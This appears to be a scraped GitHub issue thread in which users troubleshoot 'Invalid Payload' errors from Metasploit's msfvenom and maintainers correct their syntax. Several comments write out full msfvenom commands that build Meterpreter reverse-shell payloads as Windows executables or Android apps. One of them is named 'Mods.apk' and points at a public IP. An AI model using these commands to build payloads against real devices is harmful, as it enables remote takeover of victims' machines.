Metasploit-framework: In valid Payload

Created on 12 Dec 2017  Â·  31Comments  Â·  Source: rapid7/metasploit-framework

Hello
I'm having issues when trying to run msfvenom when I try to run any valid command : ./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.156 lport=555 -f exe > /home/user/Desktop/new.exe

All I get is "Error:Invalid Payload "
I get that error for every payload I try to run

I'm running Ubuntu 16 64bit
With the latest version of metasploit

Any help would be golden :)

Most helpful comment

@mbviruy No thanks I have a girlfriend.

android/meterpreter/reverse_tcpis definitely a valid payload. Ensure your Metasploit is up to date.

If you think you've found a bug, please create a new issue, ensuring you provide sufficient information for someone to reproduce the issue.

If you're looking for help or have a general inquiry, you might have more luck on the #metasploit channel on Freenode IRC, or on slack.

All 31 comments

If it's any help I can't reproduce on ubuntu:

./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.156 lport=555 -f exe > /home/user/Desktop/new.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes

This suggests it's something about your local installation method, environment or antivirus.

Could you tell us how you installed on Ubuntu? Since you're using './msfvenom' I'm going to guess this is a git checkout?

I install metasploit through the pentester framework by trustedsec

I install metasploit through the pentester framework by trustedsec

Sent from my iPhone

On Dec 12, 2017, at 11:03 AM, Brent Cook notifications@github.com wrote:

Could you tell us how you installed on Ubuntu? Since you're using './msfvenom' I'm going to guess this is a git checkout?

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.

That's odd. What is your working directory when you type './msfvenom' ? The package used by trustedsec really should be invoking msfvenom via /usr/bin/msfvenom which is already in your path.

The home directory

The msfconsole seems to be working correctly Iam just having issues with msfvenom

please try using 'msfvenom' without the './' in front

I think i solved the problem,every thing seems to be working great thank you guys for your prompt response

What did you do to fix it?

On 13 Dec. 2017 05:35, "DRBadVibes" notifications@github.com wrote:

Closed #9294 https://github.com/rapid7/metasploit-framework/issues/9294.

—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/rapid7/metasploit-framework/issues/9294#event-1384271919,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AABw4PM2qNvFll2EJvKiymNGdqLS4WIKks5s_tVxgaJpZM4Q_FQJ
.

I figured out that it's the/windows/meterpter/reverse_tcp payload that doesn't work

Sent from my iPhone

On Dec 12, 2017, at 4:04 PM, OJ Reeves notifications@github.com wrote:

What did you do to fix it?

On 13 Dec. 2017 05:35, "DRBadVibes" notifications@github.com wrote:

Closed #9294 https://github.com/rapid7/metasploit-framework/issues/9294.

—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/rapid7/metasploit-framework/issues/9294#event-1384271919,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AABw4PM2qNvFll2EJvKiymNGdqLS4WIKks5s_tVxgaJpZM4Q_FQJ
.

—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub, or mute the thread.

More information please. That payload works fine for me.

On 14 Dec. 2017 23:10, "DRBadVibes" notifications@github.com wrote:

I figured out that it's the/windows/meterpter/reverse_tcp payload that
doesn't work

Sent from my iPhone

On Dec 12, 2017, at 4:04 PM, OJ Reeves notifications@github.com wrote:

What did you do to fix it?

On 13 Dec. 2017 05:35, "DRBadVibes" notifications@github.com wrote:

Closed #9294 9294>.

—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
9294#event-1384271919>,
or mute the thread
AABw4PM2qNvFll2EJvKiymNGdqLS4WIKks5s_tVxgaJpZM4Q_FQJ>
.

—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub, or mute the thread.

—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/rapid7/metasploit-framework/issues/9294#issuecomment-351706505,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AABw4KPsZFohyUxKkuyw9OBlrTmCZVzKks5tAR43gaJpZM4Q_FQJ
.

I have the same problrm
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.53 LPORT=4444 R > mudiviruy.apk
Error: Invalid Payload Selected

@mbviruy strange. Need more details about your environment. Are you using Metasploit from GitHub?

Works for me.

# ./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.53 LPORT=4444 R > mudiviruy.apk

[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10090 bytes
# file mudiviruy.apk
mudiviruy.apk: Zip archive data, at least v2.0 to extract

@bcoles my e-mail is [email protected] can we have a private chat please

@mbviruy No thanks I have a girlfriend.

android/meterpreter/reverse_tcpis definitely a valid payload. Ensure your Metasploit is up to date.

If you think you've found a bug, please create a new issue, ensuring you provide sufficient information for someone to reproduce the issue.

If you're looking for help or have a general inquiry, you might have more luck on the #metasploit channel on Freenode IRC, or on slack.

Thank you for your repy
I am in Tanzania-Zanzibar i dont know if you have had about it. I was
asking for materials about cyber security as in my country it is not a very
common issue, people are still beliving and liv in a strange world, plz
help me by tutoring me

On Wed, Sep 26, 2018 at 8:05 AM Brendan Coles notifications@github.com
wrote:

@mbviruy https://github.com/mbviruy No thanks I have a girlfriend.

android/meterpreter/reverse_tcpis definitely a valid payload. Ensure your
Metasploit is up to date.

If you think you've found a bug, please create a new issue, ensuring you
provide sufficient information for someone to reproduce the issue.

If you're looking for help https://www.metasploit.com/help or have a
general inquiry, you might have more luck on the #metasploit channel on
Freenode IRC, or on slack https://www.metasploit.com/help.

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/rapid7/metasploit-framework/issues/9294#issuecomment-424749043,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ApZe3MV5fPOiH2l5CAvG-mY8tq0duIqJks5ue5fOgaJpZM4Q_FQJ
.

@mbviruy Hujambo. Njoo tembelee.

Come visit us on Slack. You can find the Slack invite link at the bottom of this page.

You may also enjoy:

Ahsante
Thank you for the resources, looking forward for more uodates
You speak Swahili?

On Thu, Sep 27, 2018 at 1:35 PM Brendan Coles notifications@github.com
wrote:

@mbviruy https://github.com/mbviruy Hujambo. Njoo tembelee.

Come visit us on Slack. You can find the Slack invite link at the bottom
of this page https://www.metasploit.com/help.

You may also enjoy:

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/rapid7/metasploit-framework/issues/9294#issuecomment-425233165,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ApZe3NYTTw52UhNCTPz-1P2N9KtsIdF4ks5ufTaggaJpZM4Q_FQJ
.

i have same problem but in termux
msfvenom -p android/meterpreter/reverse_tcp/lhost=193.161.193.99 lport=50519 R> Mods.apk

and it shows me Invalid Payload Selected

i have same problem but in termux
msfvenom -p android/meterpreter/reverse_tcp/lhost=193.161.193.99 lport=50519 R> Mods.apk

and it shows me Invalid Payload Selected

android/meterpreter/reverse_tcp/lhost is not a valid payload.

msfvenom -p android/meterpreter/reverse_tcp lhost=193.161.193.99 lport=50519 R> Mods.apk

Also, Termux is not officially supported. #11023

However, Metasploit reportedly does work with Termux.

Refer to the following for more information:

msfvenom -p andriod/meterpreter/reverse_tcp LHOST=my ip address LPORT=2222 R > /sdcard/chiku.apk
This showing error: invalid payload: android/meterpreter/reverse_tcp

msfvenom -p andriod/meterpreter/reverse_tcp LHOST=my ip address LPORT=2222 R > /sdcard/chiku.apk
This showing error: invalid payload: android/meterpreter/reverse_tcp

Are you sure that's what you typed? The error message is not the same as your input andriod/meterpreter/reverse_tcp which misspelled android as andriod.

Help to fix this issue in termux

On Mon, May 25, 2020, 11:51 AM bcoles notifications@github.com wrote:

msfvenom -p andriod/meterpreter/reverse_tcp LHOST=my ip address LPORT=2222
R > /sdcard/chiku.apk
This showing error: invalid payload: android/meterpreter/reverse_tcp

Are you sure that's what you typed? The error message is not the same as
your input andriod/meterpreter/reverse_tcp which misspelled andord as
andriod.

—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/rapid7/metasploit-framework/issues/9294#issuecomment-633399338,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/APWU5HVSUCSP5KIK77HEYQLRTIFAFANCNFSM4EH4KQEQ
.

Help to fix this issue in termux
…
On Mon, May 25, 2020, 11:51 AM bcoles @.*> wrote: msfvenom -p andriod/meterpreter/reverse_tcp LHOST=my ip address LPORT=2222 R > /sdcard/chiku.apk This showing error: invalid payload: android/meterpreter/reverse_tcp Are you sure that's what you typed? The error message is not the same as your input andriod/meterpreter/reverse_tcp which misspelled andord as andriod. — You are receiving this because you commented. Reply to this email directly, view it on GitHub <#9294 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/APWU5HVSUCSP5KIK77HEYQLRTIFAFANCNFSM4EH4KQEQ .

Termux is not officially supported. #11023

However, Metasploit reportedly does work with Termux.

Refer to the following for more information:

i'm using kali linux via virtual box i'm also getting same invalid payload selected error

@Abhishekrkd Please add more details. Also we would greatly prefer you to open a new issue and then link to this one versus commenting on old issues as this helps us keep track of information better within our system. The new issue template should tell you what information is required: please do not erase this and instead fill out the template with the requested information.

i'm using kali linux via virtual box i'm also getting same invalid payload selected error

is your problem sloved if yes then please me also getting same problem

Error: invalid payload: android/meterpreter/reserve_tcp
help §?

Error: invalid payload: android/meterpreter/reserve_tcp
help §?

Please don't comment on closed issues, if you have a new issue, please instead open a new issue. However r.e your problem, it should be android/meterpreter/reverse_tcp

Locking this issue as the original author's question has been answered and all other questions have been off topic and mostly related to Termux issues. We do not support Termux and ask that users who wish to use Metasploit with Termux consult their local Termux group for more help.

Users who are experiencing similar issues are encouraged to open a new issue and link to this one.

Was this page helpful?
0 / 5 - 0 ratings

Related issues

felipee07 picture felipee07  Â·  3Comments

XSecr3t picture XSecr3t  Â·  3Comments

jecoliho picture jecoliho  Â·  3Comments

wvu-r7 picture wvu-r7  Â·  3Comments

Acidical picture Acidical  Â·  3Comments